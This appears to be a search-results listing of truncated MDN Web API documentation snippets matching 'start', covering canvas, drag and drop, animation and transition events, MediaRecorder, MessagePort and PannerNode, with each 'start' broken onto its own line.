start" the text is aligned at the normal
start of the line (left-aligned for left-to-right locales, right-aligned for right-to-left locales). "end" the text is aligned at the normal end of the line (right-aligned for left-to-right locales, left-aligned for right-to-left locales). the defaul...
... examples general text alignment this example demonstrates the three "physical" values of the textalign property: "left", "center", and "right". ...
...ctx.lineto(x, canvas.height); ctx.stroke(); ctx.font = '30px serif'; ctx.textalign = 'left'; ctx.filltext('left-aligned', x, 40); ctx.textalign = 'center'; ctx.filltext('center-aligned', x, 85); ctx.textalign = 'right'; ctx.filltext('right-aligned', x, 130); result direction-dependent text alignment this example demonstrates the two direction-dependent values of the textalign property: "
start" and "end". note that the direction property is manually specified as "ltr", although this is also the default for english-language text. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '30px serif'; ctx.direction = 'ltr'; ctx.textalign = '
start'; ctx.filltext('
start-aligned', 0, 50); ctx.texta...
Basic animations - Web APIs
mation from within a for loop. that means we need a way to execute our drawing functions over a period of time. there are two ways to control an animation like this. scheduled updates first there's the window.setinterval(), window.settimeout(), and window.requestanimationframe() functions, which can be used to call a specific function over a set period of time. setinterval(function, delay)
starts repeatedly executing the function specified by function every delay milliseconds. settimeout(function, delay) executes the function specified by function in delay milliseconds. requestanimationframe(callback) tells the browser that you wish to perform an animation and requests that the browser call a specified function to update an animation before the next repaint. if you don't want any u...
...han canvas cleary = imgh; } else { cleary = canvasysize; } // get canvas context ctx = document.getelementbyid('canvas').getcontext('2d'); // set refresh rate return setinterval(draw, speed); } function draw() { ctx.clearrect(0, 0, clearx, cleary); // clear the canvas // if image is <= canvas size if (imgw <= canvasxsize) { // reset,
start from beginning if (x > canvasxsize) { x = -imgw + x; } // draw additional image1 if (x > 0) { ctx.drawimage(img, -imgw + x, y, imgw, imgh); } // draw additional image2 if (x - imgw > 0) { ctx.drawimage(img, -imgw * 2 + x, y, imgw, imgh); } } // image is > canvas size else { // ...
...note t...
DataTransfer.dropEffect - Web APIs
source item is made at the new location. move an item is moved to a new location. link a link is established to the source at the new location. none the item may not be dropped. assigning any other value to dropeffect has no effect and the old value is retained. example this example shows the use of the dropeffect and effectallowed properties. html content <div> <p id="source" ondrag
start="drag
start_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element. </p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css content div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px so...
... select this element, drag it to the drop zone and then release the selection to move the element. ...
...drop zone and then release the selection to move the element. ...
DataTransfer.items - Web APIs
dragged. if the drag operation had no data, the list is empty. example this example shows the use of the items and types properties. ...
... data, the list is empty. example this example shows the use of the items and types properties. ...
... + "].kind = " + ev.datatransfer.items[i].kind + " ; type = " + ev.datatransfer.items[i].type); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } </script> <body> <h1>examples of <code>datatransfer</code>.{<code>types</code>, <code>items</code>} properties</h1> <ul> <li id="i1" ondrag
start="drag
start_handler(event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondrag
start="drag
start_handler(event);" draggable="true">drag item 2 to the drop zone</li> </ul> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standa...
DataTransferItemList.DataTransferItem() - Web APIs
he item in the drag data list to return. return value the datatransferitem object at the specified index in the item list. if the index is less than zero or greater than or equal to the number of items in the list (as indicated by the list's length property, undefined is returned. the returned value is never null. example this example shows how to use drag and drop. javascript function drag
start_handler(ev) { console.log("drag
start"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"...
....log("... ...
...rop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; // clear any remaining drag data datalist.clear(); } html <div> <p id="source" ondrag
start="drag
start_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { ...
DataTransferItemList.length - Web APIs
ber of items currently in the drag item list. syntax length = datatransferitemlist.length; value the number of drag data items in the list, or 0 if the list is empty or disabled. the drag item list is considered to be disabled if the item list's datatransfer object is not associated with a drag data store. example this example shows the use of the length property. javascript function drag
start_handler(ev) { console.log("drag
start"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"...
....log("... ...
...rop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; // clear any remaining drag data datalist.clear(); } html <div> <p id="source" ondrag
start="drag
start_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { ...
EffectTiming.easing - Web APIs
to cubic-bezier(0.42, 0, 1, 1). ease-out another decelerated rate of change, going from fast to slow. equivalent to cubic-bezier(0, 0, 0.58, 1). ease-in-out this rate of change speeds up in the middle. equivalent to cubic-bezier(0.42, 0, 0.58, 1). ...
...the browser flips to a different static frame when each interval is reached, rather than animating smoothly. the first parameter specifies the number of intervals in the function. ...
...ps to a different static frame when each interval is reached, rather than animating smoothly. the first parameter specifies the number of intervals in the function. it must be a positive integer (greater than 0). the second parameter, which is optional, specifies the point at which the change of values occur within the interval. if the second parameter is omitted, it is given the value end. step-
start equivalent to steps(1,
start) step-end equivalent to steps(1, end). examples in the red queen's race example, we animate alice and the red queen by passing an easing of steps(7, end) to animate(): // define the key frames var spriteframes = [ { transform: 'translatey(0)' }, { transform: 'translatey(-100%)' } ]; // get the element that represents alice and the red queen var redqueen...
Introduction to the File and Directory Entries API - Web APIs
entries api with the quota management api, which lets you ask for more storage and manage your storage quota. sample use cases the following are just a few examples of how you can use the file and directory entries api: apps with persistent uploader when a file or directory is selected for upload, you can copy the file into a local sandbox and upload a chunk at a time. the app can re
start uploads after an interruption, such as the browser being closed or crashing, connectivity getting interrupted, or the computer getting shut down. video game or other apps with lots of media assets the app downloads one or several large tarballs and expands them locally into a directory structure. the app pre-fetches assets in the background, so the user can go to the next task or game ...
... partially downloaded files (so that you can watch the first chapter of your dvd, even if the app is still downloading the rest of the content or if the app didn't complete the download because you had to run to catch a train). offline web mail client the client downloads attachments and stores them locally. the client caches attachments for later upload. ...
...rbitrary folder (for example, my pictures and my documents) on the user's hard drive. you cannot run your app from file:// you cannot run your app locally from file://. if you do so, the browser throws errors or your app fails silently. this restriction also applies to many of the file apis, including blobbuilder and filereader. for testing purposes, you can bypass the restriction on chrome by
starting the browser with the --allow-file-access-from-files flag. use this flag only for this purpose. definitions this section defines and explains terms used in the file and directory entries api. blob stands for binary large object. a blob is a set of binary data that is stored as a single object. it is a general-purpose way to reference binary data in web applications. a blob can be an image...
GlobalEventHandlers.onanimationend - Web APIs
self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating. first is the box itself. we set its size, position, color, and layout. note that there's nothing there about animation. that's because we don't want the box to
start animating right away. we'll add the animation style later to
start animating the box. #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative; background-color: #2233ff; display: flex; justify-content: center; } the animation sequence is described next. first, the "slideanimation" class, which estab...
...me to get information about the event which occurred. ...
...gbox = document.getelementbyid("log"); logbox.innerhtml += msg; if (event) { logbox.innerhtml += " <code>"+ event.animationname + "</code> at time " + event.elapsedtime.tofixed(2) + " seconds."; } logbox.innerhtml += "\n"; }; then we set up the event handlers for the animation
start and animationend events: let box = document.getelementbyid("box"); box.onanimation
start = function(event) { log("animation
started", event); } box.onanimationend = function(event) { log("animation stopped", event); }; finally, we set up a handler for a click on the button that runs the animation: document.getelementbyid("play").addeventlistener("click", function(event) { document.getelementbyid("box").classname = "slideanimation"; event.target.style.display = "none"; }, ...
GlobalEventHandlers.ondrag - Web APIs
t handler. ...
...=en> <title>examples of using the ondrag global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function drag
start_handler(ev) { console.log("drag
start"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <c...
...} function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondrag
start</code>, <code>ondragover</code></h1> <div> <!-- <div class="source"> --> <p id="source" ondrag="drag_handler(event);" ondrag
start="drag
start_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </...
GlobalEventHandlers.ondragover - Web APIs
t handler. ...
...=en> <title>examples of using the ondrag global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function drag
start_handler(ev) { console.log("drag
start"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <c...
...} function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondrag
start</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handler(event);" ondrag
start="drag
start_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications...
GlobalEventHandlers.ondrop - Web APIs
t handler. ...
...=en> <title>examples of using the ondrag global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function drag
start_handler(ev) { console.log("drag
start"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <c...
...} function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondrag
start</code>, <code>ondragover</code></h1> <div class="source"> <p id="source" ondrag="drag_handler(event);" ondrag
start="drag
start_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> ...
HTMLElement: transitioncancel event - Web APIs
in this example, to cancel the transition, stop hovering over the transitioning box before the transition ends. for the transition end event to fire, stay hovered over the transition until the transition ends. const message = document.queryselector('.message'); const el = document.queryselector('.transition'); el.addeventlistener('...
... hovering over the transitioning box before the transition ends. for the transition end event to fire, stay hovered over the transition until the transition ends. ...
...on ends. for the transition end event to fire, stay hovered over the transition until the transition ends. const message = document.queryselector('.message'); const el = document.queryselector('.transition'); el.addeventlistener('transitionrun', function() { message.textcontent = 'transitionrun fired'; }); el.addeventlistener('transition
start', function() { message.textcontent = 'transition
start fired'; }); el.addeventlistener('transitioncancel', function() { message.textcontent = 'transitioncancel fired'; }); el.addeventlistener('transitionend', function() { message.textcontent = 'transitionend fired'; }); the transitioncancel event is fired if the transition is cancelled in either direction after the transitionrun event occurs and before the transitionend is fired. if there ...
HTMLElement: transitionend event - Web APIs
in this example, to cancel the transition, stop hovering over the transitioning box before the transition ends. for the transition end event to fire, stay hovered over the transition until the transition ends. const message = document.queryselector('.message'); const el = document.queryselector('.transition'); el.addeventlistener('...
... hovering over the transitioning box before the transition ends. for the transition end event to fire, stay hovered over the transition until the transition ends. ...
...on ends. for the transition end event to fire, stay hovered over the transition until the transition ends. const message = document.queryselector('.message'); const el = document.queryselector('.transition'); el.addeventlistener('transitionrun', function() { message.textcontent = 'transitionrun fired'; }); el.addeventlistener('transition
start', function() { message.textcontent = 'transition
start fired'; }); el.addeventlistener('transitioncancel', function() { message.textcontent = 'transitioncancel fired'; }); el.addeventlistener('transitionend', function() { message.textcontent = 'transitionend fired'; }); the transitionend event is fired in both directions: when the box finishes turning and the opacity hits 0 or 1, depending on the direction. if there is no transition delay ...
HTMLElement - Web APIs
nterfaces and implemented by htmlelement. in addition, the following handlers are specific to htmlelement. htmlelement.oncopy returns the event handling code for the copy event (bug 280959). htmlelement.oncut returns the event handling code for the cut event (bug 280959). htmlelement.onpaste returns the event handling code for the paste event (bug 280959). toucheventhandlers.ontouch
start returns the event handling code for the touch
start event. toucheventhandlers.ontouchend returns the event handling code for the touchend event. toucheventhandlers.ontouchmove returns the event handling code for the touchmove event. toucheventhandlers.ontouchenter returns the event handling code for the touchenter event. toucheventhandlers.ontouchleave returns the event handling...
...nvalid property. animation events animationcancel fired when an animation unexpectedly aborts. also available via the onanimationcancel property. animationend fired when an animation has completed normally. also available via the onanimationend property. animationiteration fired when an animation iteration has completed. also available via the onanimationiteration property. animation
start fired when an animation
starts. also available via the onanimation
start property. input events beforeinput fired when the value of an <input>, <select>, or <textarea> element is about to be modified. input fired when the value of an <input>, <select>, or <textarea> element has been changed. also available via the oninput property. change fired when the value of an <input>, <select>, ...
...le via the onpointerup property. transition events transitioncancel fired when a css transition is canceled. also available via the ontransitioncancel property. transitionend fired when a css transition has completed. also available via the ontransitionend property. transitionrun fired when a css transition is first created. also available via the ontransitionrun property. transition
start fired when a css transition has actually
started. also available via the ontransition
start property. specifications specification status comment css object model (cssom) view modulethe definition of 'htmlelement' in that specification. working draft added the following properties: offsetparent, offsettop, offsetleft, offsetwidth, and offsetheight. h...
HTMLInputElement.setSelectionRange() - Web APIs
the htmlinputelement.setselectionrange() method sets the
start and end positions of the current text selection in an <input> or <textarea> element. optionally, in newer browser versions, you can specify the direction in which selection should be considered to have occurred. this lets you indicate, for example, that the selection was set by the user clicking and dragging from the end of the selected text toward the beginning. this method updates the htmlinputelement.selection
start, selectionend, and selectiondirection properties in one call. note that accordingly to the whatwg forms spec selection
start, selectionend properties and setselectionrange method apply only to inputs of types text, search, url, tel and password. ...
...y the user clicking and dragging from the end of the selected text toward the beginning. this method updates the htmlinputelement.selection
start, selectionend, and selectiondirection properties in one call. note that accordingly to the whatwg forms spec selection
start, selectionend properties and setselectionrange method apply only to inputs of types text, search, url, tel and password. chrome,
starting from version 33, throws an exception while accessing those properties and method on the rest of input types. for example, on input of type number: "failed to read the 'selection
start' property from 'htmlinputelement': the input element's type ('number') does not support selection". if you wish to select all text of an input element, you can use the htmlinputelement.select() method instead. s...
...hile accessing those properties and method on the rest of input types. for example, on input of type number: "failed to read the 'selection
start' property from 'htmlinputelement': the input element's type ('number') does not support selection". if you wish to select all text of an input element, you can use the htmlinputelement.select() method instead. syntax element.setselectionrange(selection
start, selectionend [, selectiondirection]); parameters if selectionend is less than selection
start, then both are treated as the value of selectionend. selection
start the 0-based index of the first selected character. an index greater than the length of the element's value is treated as pointing to the end of the value. selectionend the 0-based index of the character after the last selected c...
HTMLInputElement - Web APIs
ribute applies when the value of the type attribute is text, search, tel, url or email; otherwise it is ignored. readonly boolean: returns / sets the element's readonly attribute, indicating that the user cannot modify the value of the control. html5this is ignored if the value of the type attribute is hidden, range, color, checkbox, radio, file, or a button type. selection
start unsigned long: returns / sets the beginning index of the selected text. when nothing is selected, this returns the position of the text input cursor (caret) inside of the <input> element. selectionend unsigned long: returns / sets the end index of the selected text. when there's no selection, this returns the offset of the character immediately following the current text input curs...
...input> element. selectionend unsigned long: returns / sets the end index of the selected text. when there's no selection, this returns the offset of the character immediately following the current text input cursor position. selectiondirection string: returns / sets the direction in which selection occurred. possible values are: forward if selection was performed in the
start-to-end direction of the current locale backward for the opposite direction none if the direction is unknown size unsigned long: returns / sets the element's size attribute, containing visual size of the control. this value is in pixels unless the value of type is text or password, in which case, it is an integer number of characters. applies only when type is set to text, search...
...and focus() methods, are now defined on htmlelement. the following properties are now obsolete: align and usemap. the following properties have been added: autocomplete, autofocus, dirname, files, formaction, formenctype, formmethod, formnovalidate, formtarget, height, indeterminate, labels, list, max, min, multiple, pattern, placeholder, required, selectiondirection, selectionend, selection
start, step, validationmessage, validity, valueasdate, valueasnumber, width, and willvalidate. the following methods have been added: checkvalidity(), setcustomvalidity(), setselectionrange(), stepup(), and stepdown(). document object model (dom) level 2 html specificationthe definition of 'htmlinputelement' in that specification. obsolete the size property is now an unsigned long. th...
KeyboardEvent.code - Web APIs
ze of the ship the player is moving around, for convenience. position is used to track the position of the ship within the play field. moverate and turnrate are the number of pixels forward and backward each keystroke moves the ship and how many degrees of rotation the left and right steering controls apply per keystroke. angle is the current amount of rotation applied to the ship, in degrees; it
starts at 0° (pointing straight up). finally, spaceship is set to refer to the element with the id "spaceship", which is the svg polygon representing the ship the player controls. let shipsize = { width: 30, height: 30 }; let position = { x: 200, y: 200 }; let moverate = 9; let turnrate = 5; let angle = 0; let spaceship = document.getelementbyid("spaceship"); next comes the function upd...
... 0; } } the refresh() function handles applying the rotation and position by using an svg transform. function refresh() { let x = position.x - (shipsize.width/2); let y = position.y - (shipsize.height/2); let transform = "translate(" + x + " " + y + ") rotate(" + angle + " 15 15) "; spaceship.setattribute("transform", transform); } finally, the addeventlistener() method is used to
start listening for keydown events, acting on each key by updating the ship position and rotation angle, then calling refresh() to draw the ship at its new position and angle. window.addeventlistener("keydown", function(event) { if (event.defaultprevented) { return; // do nothing if event already handled } switch(event.code) { case "keys": case "arrowdown": // handle "back" ...
...andle "turn right" angle += turnrate; break; } refresh(); // consume the event so it doesn't get handled twice event.preventdefault(); }, true); try it out to ensure that keystrokes go to the sample code, click inside the black game play field below before pressing keys. there are several ways this code can be made better. most real games would watch for keydown events,
start motion when that happens, and stop the motion when the corresponding keyup occurs, instead of relying on key repeats. that would allow both smoother and faster movement, but would also allow the player to be moving and steering at the same time. transitions or animations could be used to make the ship's movement smoother, too. specification specification status comment ...
MSGestureEvent - Web APIs
msgestureevent derives from uievent, which in turn derives from event. though the msgestureevent.initgestureevent() method is kept for backward compatibility, the creation of an msgestureevent object should be done using the msgestureevent() constructor. ...
... msgestureevent derives from uievent, which in turn derives from event. though the msgestureevent.initgestureevent() method is kept for backward compatibility, the creation of an msgestureevent object should be done using the msgestureevent() constructor. ...
... msgestureevent.velocityy read only velocity along the direction of the y-axis. methods this interface also inherits methods of its parents, uievent and event. msgestureevent.initgestureevent() initializes the value of an msgestureevent. if the event has already being dispatched, this method does nothing. this method is deprecated as of microsoft edge. gesture event types msgesture
start msgestureend msgesturetap msgesturehold msgesturechange msinertia
start specifications not part of any specification. microsoft has a description on msdn. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobi...
MediaRecorder.ondataavailable - Web APIs
n or the last time a dataavailable event occurred is delivered in a blob; after this, capturing ends. when mediarecorder.requestdata() is called, all media data which has been captured since recording began or the last time a dataavailable event occurred is delivered; then a new blob is created and media capture continues into that blob. ...
... dataavailable event occurred is delivered in a blob; after this, capturing ends. when mediarecorder.requestdata() is called, all media data which has been captured since recording began or the last time a dataavailable event occurred is delivered; then a new blob is created and media capture continues into that blob. ...
...to that blob. if a timeslice property was passed into the mediarecorder.
start() method that
started media capture, a dataavailable event is fired every timeslice milliseconds. that means that each blob will have a specific time duration (except the last blob, which might be shorter, since it would be whatever is left over since the last event). so if the method call looked like this — recorder.
start(1000); — the dataavailable event would fire after each second of media capture, and our event handler would be called every second with a blob of media data that's one second long. you can use timeslice alongside mediarecorder.stop() and mediarecorder.requestdata() to produce multiple same-length blobs plus other shorter blobs as well. the blob containing the media data is available in the d...
MediaRecorder.onerror - Web APIs
value a function to be called whenever an error occurs during the recorder's lifetime. in addition to other general errors that might occur, the following errors are specifically possible when using the mediastream recording api; to determine which occurred, check the value of mediarecordererrorevent.error.name. invalidstateerror an attempt was made to stop or pause or an inactive recorder,
start or resume an active recorder, or otherwise manipulate the mediarecorder while in the wrong state. this exception can also occur when a request is made on a source that has been deleted or removed. securityerror the mediastream is configured to disallow recording. this may be the case, for example, with sources obtained using getusermedia() when the user denies permission to use an input device.
...ing stops, the mediarecorder's state becomes inactive, one last dataavailable event is sent to the mediarecorder with the remaining received data, and finally a stop event is sent. these errors may occur either directly because of a call to a mediarecorder method, or indirectly due to a problem arising during the recording process. example this example creates a new mediarecorder instance and
starts recording using the user agent's default media format. it returns either the mediarecorder or the name of the error that occurred if any exceptions are thrown during the setup process. function recordstream(stream) { let recorder = null; let bufferlist = []; try { recorder = new mediarecorder(stream); } catch(err) { return err.name; /* return the error name */ } recor...
... working draft initial definition ...
Using the MediaStream Recording API - Web APIs
h mentioning, however, so we'll discuss them below. if you are not interested in css and want to get straight to the javascript, skip to the basic app setup section. keeping the interface constrained to the viewport, regardless of device height, with calc() the calc() function is one of those useful little utility features that's cropped up in css that doesn't look like much initially, but soon
starts to make you think "wow, why didn't we have this before? why was css2 layout so awkward?" it allows you do a calculation to determine the computed value of a css unit, mixing different units in the process. for example, in web dictaphone we have three main ui areas, stacked vertically. we wanted to give the first two (the header and the controls) fixed heights: header { height: 70px; } .main...
... mediarecorder api — the stream is now ready to be captured into a blob, in the default encoding format of your browser. const mediarecorder = new mediarecorder(stream); there are a series of methods available in the mediarecorder interface that allow you to control recording of the media stream; in web dictaphone we just make use of two, and listen to some events. first of all, mediarecorder.
start() is used to
start recording the stream once the record button is pressed: record.onclick = function() { mediarecorder.
start(); console.log(mediarecorder.state); console.log("recorder
started"); record.style.background = "red"; record.style.color = "black"; } when the mediarecorder is recording, the mediarecorder.state property will return a value of "recording". as recording progres...
...eturn a value of "recording". as recording progresses, we need to collect the audio data. we register an event handler to do this using mediarecorder.ondataavailable: let chunks = []; mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } note: the browser will fire dataavailable events as needed, but if you want to intervene you can also include a timeslice when invoking the
start() method — for example
start(10000) — to control this interval, or call mediarecorder.requestdata() to trigger an event when you need it. lastly, we use the mediarecorder.stop() method to stop the recording when the stop button is pressed, and finalize the blob ready for use somewhere else in our application. stop.onclick = function() { mediarecorder.stop(); console.log(mediarecorder.s...
MessagePort: message event - Web APIs
this is only needed when usin...
...rt.postmessage(messagecontrol.value); }) targetframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and
start listening for messages on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.
start(); }); note that the listener must call messageport.
start() before any messages will be delivered to this port. ...
...ner('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.
start(); }); note that the listener must call messageport.
start() before any messages will be delivered to this port. ...
MessagePort: messageerror event - Web APIs
.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and
start listening for messages and message errors on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.addeventlistener('messageerror', (event) => { console.error(event.data); }); myport.
start(); }); note that the ...
...sage errors on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.addeventlistener('messageerror', (event) => { console.error(event.data); }); myport.
start(); }); note that the listener must call messageport.
start() before any messages will be delivered to this port. ...
..., (event) => { received.textcontent = event.data; }); myport.addeventlistener('messageerror', (event) => { console.error(event.data); }); myport.
start(); }); note that the listener must call messageport.
start() before any messages will be delivered to this port. ...
Page Visibility API - Web APIs
partially visible. in practice this means that the page is the foreground tab of a non-minimized window. hidden the page's content is not visible to the user, either due to the document's tab being in the background or part of a window that is minimized, or because the device's screen is off. prerender the page's content is being prerendered and is not visible to the user. a document may
start in the prerender state, but will never switch to this state from any other state, since a document can only prerender once. note: not all browsers support prerendering. unloaded the page is in the process of being unloaded from memory. note: not all browsers support the unloaded value. document.onvisibilitychange an eventlistener providing the code to be called when the visibi...
...ll never switch to this state from any other state, since a document can only prerender once. note: not all browsers support prerendering. unloaded the page is in the process of being unloaded from memory. note: not all browsers support the unloaded value. document.onvisibilitychange an eventlistener providing the code to be called when the visibilitychange event is fired. ...
... the page is in the process of being unloaded from memory. note: not all browsers support the unloaded value. document.onvisibilitychange an eventlistener providing the code to be called when the visibilitychange event is fired. //
startsimulation and pausesimulation defined elsewhere function handlevisibilitychange() { if (document.hidden) { pausesimulation(); } else {
startsimulation(); } } document.addeventlistener("visibilitychange", handlevisibilitychange, false); specifications specification status comment page visibility (second edition) recommendation initial definition. ...
PannerNode.coneInnerAngle - Web APIs
ax var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.coneinnerangle = 360; value a double. example in this example, we'll demonstrate how changing the orientation parameters of a pannernode in combination with coneinnerangle and coneouterangle affects volume. to help us visualise how the orientation vector affects, we can use the right-hand rule: first, let's
start by writing a utility function to figure out our orientation vector. the x and z components are always at a 90° to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians. however, normally this would mean the pannernode points to the left of the listener at 0° rotation – since `x = cos(0) = 1` and `z = sin(0) = 0`. it's more useful to offset the...
... working draft ...
... working draft ...
PannerNode.coneOuterAngle - Web APIs
ntax var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.coneouterangle = 0; value a double. example in this example, we'll demonstrate how changing the orientation parameters of a pannernode in combination with coneinnerangle and coneouterangle affects volume. to help us visualise how the orientation vector affects, we can use the right-hand rule: first, let's
start by writing a utility function to figure out our orientation vector. the x and z components are always at a 90° to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians. however, normally this would mean the pannernode points to the left of the listener at 0° rotation – since `x = cos(0) = 1` and `z = sin(0) = 0`. it's more useful to offset the...
... working draft ...
... working draft ...
PannerNode.coneOuterGain - Web APIs
the range 0–1. exceptions invalidstateerror the property has been given a value outside the accepted range (0–1). example in this example, we'll demonstrate how changing the orientation parameters of a pannernode in combination with coneinnerangle and coneouterangle affects volume. to help us visualise how the orientation vector affects, we can use the right-hand rule: first, let's
start by writing a utility function to figure out our orientation vector. the x and z components are always at a 90° to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians. however, normally this would mean the pannernode points to the left of the listener at 0° rotation – since `x = cos(0) = 1` and `z = sin(0) = 0`. it's more useful to offset the...
... working draft ...
... working draft ...
PannerNode.orientationX - Web APIs
aram whose value is the x component of the direction in which the audio source is facing, in 3d cartesian coordinate space. example in this example, we'll demonstrate how changing the orientation parameters of a pannernode in combination with coneinnerangle and coneouterangle affects volume. to help us visualise how the orientation vector affects, we can use the right-hand rule: first, let's
start by writing a utility function to figure out our orientation vector. the x and z components are always at a 90° to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians. however, normally this would mean the pannernode points to the left of the listener at 0° rotation – since `x = cos(0) = 1` and `z = sin(0) = 0`. it's more useful to offset the...
... working draft ...
... working draft ...
PannerNode.orientationY - Web APIs
an audioparam whose value is the y component of the direction the audio source is facing, in 3d cartesian coordinate space. example in this example, we'll demonstrate how changing the orientation parameters of a pannernode in combination with coneinnerangle and coneouterangle affects volume. to help us visualise how the orientation vector affects, we can use the right-hand rule: first, let's
start by writing a utility function to figure out our orientation vector. the x and z components are always at a 90° to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians. however, normally this would mean the pannernode points to the left of the listener at 0° rotation – since `x = cos(0) = 1` and `z = sin(0) = 0`. it's more useful to offset the...
... working draft ...
